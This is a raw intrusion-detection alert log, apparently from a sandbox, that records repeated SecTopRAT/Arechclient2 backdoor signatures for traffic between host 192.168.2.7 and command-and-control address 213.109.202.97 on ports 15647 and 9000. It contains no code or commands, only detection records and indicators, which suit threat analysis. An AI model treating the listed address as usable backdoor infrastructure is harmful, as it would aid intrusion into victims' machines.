2024-09-26T01:49:15.186595+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.200774+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.215507+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.231146+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.246655+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.262357+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.280112+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.293611+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.310180+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.324757+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.340783+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.356315+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.376424+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.387235+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.404681+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.418498+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.434315+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.450171+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.468451+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.481123+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.497585+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.512342+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.528057+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.543677+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.561465+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.574999+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.590564+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.606107+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.621639+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.637256+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.655891+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.677800+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.685588+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.699833+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.715372+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.731403+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.746997+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.764112+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.777936+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.793806+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.809353+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.825469+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.841176+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.859522+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.873464+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.889472+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.904330+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.918579+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.934271+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.953473+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.967202+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.981830+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:15.996611+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.009583+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58386	213.109.202.97	9000	TCP
2024-09-26T01:49:16.012363+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.027980+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.050023+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.059966+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.075535+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.094275+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.106180+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.136364+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.154884+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.169464+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.184651+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.199794+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.224070+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.244087+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.265995+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58388	213.109.202.97	15647	TCP
2024-09-26T01:49:16.474551+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58388	TCP
2024-09-26T01:49:17.943551+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.950231+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.968369+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.981175+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:17.996628+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.013217+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.027868+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.043556+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.061461+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.075233+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.090575+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.105966+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58390	213.109.202.97	15647	TCP
2024-09-26T01:49:18.127350+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.137322+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.153265+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.170306+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.184275+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.200563+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.215532+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.230989+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.246833+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.264786+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.278008+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.293561+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.309793+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.325598+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.340620+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.357992+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.371722+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.387413+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.405472+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.418484+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.434737+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.452201+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.465466+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.481118+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.496785+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.512422+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.527977+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.547095+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.560096+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.574791+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.590534+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.605985+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.621768+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.639236+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.652838+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.670996+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.684202+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.699903+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.715867+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.733397+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.746934+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.762707+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.775014+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58391	TCP
2024-09-26T01:49:18.778198+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:20.424103+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.434366+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.453493+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.467793+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.481575+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.499780+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.515512+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.531507+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.543567+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.560362+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.574727+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.591321+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.606126+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.623529+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.637303+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.657536+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.669490+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.684898+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.701496+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.721502+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.732324+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.747907+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.763591+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.778094+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.793854+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.810398+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.825177+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.842162+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.857969+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.872262+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.889313+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.905135+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.918530+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.935694+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.949770+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.965709+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.981227+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.996719+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.043711+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.067730+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.148487+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.198078+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.214557+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.253628+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.279047+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.316511+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.328382+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.340770+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.356498+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.386752+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.480631+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.501583+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
